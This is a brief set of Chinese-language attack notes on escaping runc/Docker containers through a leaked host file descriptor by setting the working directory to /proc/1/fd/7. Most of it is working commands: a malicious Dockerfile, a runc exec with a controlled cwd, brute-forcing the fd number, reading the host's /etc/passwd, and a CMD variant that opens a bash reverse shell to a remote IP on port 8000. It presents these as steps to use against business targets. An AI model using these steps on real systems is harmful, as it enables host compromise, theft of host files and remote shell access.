1.恶意镜像
不管是直接输入dockerfile还是从镜像仓库拉取镜像,都是可以利用的
FROM ubuntu:18.04
WORKDIR /proc/1/fd/7/
docker build .
docker run imageid ls ../../../
对于业务来说,给一个上面的恶意镜像,然后可以加一个CMD 反弹shell
FROM ubuntu:18.04
WORKDIR /proc/1/fd/7/
CMD /bin/bash -c 'bash -i >&/dev/tcp/ip/8000 0>&1'
2.控制working DIr
这个场景还比较常见
runc exec --cwd /proc/1/fd/7/ demo ls ../../../../
有些产品可以指定working Dir 也就是cwd 那么也受影响,可以关注一下启动时候的参数 能不能控制working dir
几个问题
1.确定cgroup的fd
一般来说,受影响的runc 范围内
runc create demo
runc exec demo ls /proc/1/fd -la 可以直接看到对应的符号链接
对于docker来说,不容易直接看到,可以爆破
docker run -w /proc/1/fd/n ubuntu:18.04 ls …/…/…/…/
2.路径问题
当设置了正确的dockerfile之后
docker run ubuntu:18.04 cat etc/passwd 是宿主机
docker run ubuntu:18.04 cat /etc/passwd 是容器
不能使用绝对路径,绝对路径还是在容器的命名空间